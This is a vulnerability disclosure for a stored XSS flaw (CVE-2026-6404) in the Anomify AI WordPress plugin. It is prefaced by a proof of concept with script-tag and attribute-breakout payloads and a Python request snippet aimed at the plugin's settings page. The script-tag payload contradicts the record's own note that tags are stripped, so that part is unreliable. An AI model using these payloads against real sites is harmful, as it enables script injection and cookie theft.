CVE-2026-6404

<!-- PoC for CVE-2026-6404 Inject the following payload into the 'anomify_api_key' parameter: --> "><script>alert('XSS');</script> <!-- Alternatively, if the context is strictly within an attribute value: --> " onmouseover="alert(1) <!-- Python snippet to simulate the request (requires admin auth): --> import requests url = 'http://target-wordpress-site/wp-admin/admin.php?page=anomify-settings' payload = '"><script>alert(document.cookie)</script>' data = { 'anomify_api_key': payload, 'option_page': 'anomify_options', 'action': 'update', '_wpnonce': 'valid_nonce_here' # Need valid nonce } # Attacker sends this POST request # response = requests.post(url, data=data, cookies=admin_cookies)

{"cve": {"id": "CVE-2026-6404", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:38.357", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Anomify AI – Anomaly Detection and Alerting plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'anomify_api_key' parameter in versions up to and including 0.3.6. This is due to insufficient input sanitization and missing output escaping: the plugin applies sanitize_text_field() to the Metric Data Key input before saving it via update_option(), but sanitize_text_field() strips HTML tags without encoding double-quote characters, and the value is then echoed directly into an HTML attribute context (value=\"...\") without esc_attr(). This makes it possible for authenticated attackers with administrator-level access to inject arbitrary web scripts that execute whenever a user visits the plugin's settings page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/anomify/tags/0.3.6/Anomify/Config.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/tags/0.3.6/Anomify/Wp/Admin.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/tags/0.3.6/Anomify/Wp/includes/admin_options.php#L43", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/trunk/Anomify/Config.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/trunk/Anomify/Wp/Admin.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/anomify/trunk/Anomify/Wp/includes/admin_options.php#L43", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4036057c-0c43-4d9c-97db-4861d91a4daa?source=cve", "source": "[email protected]"}]}}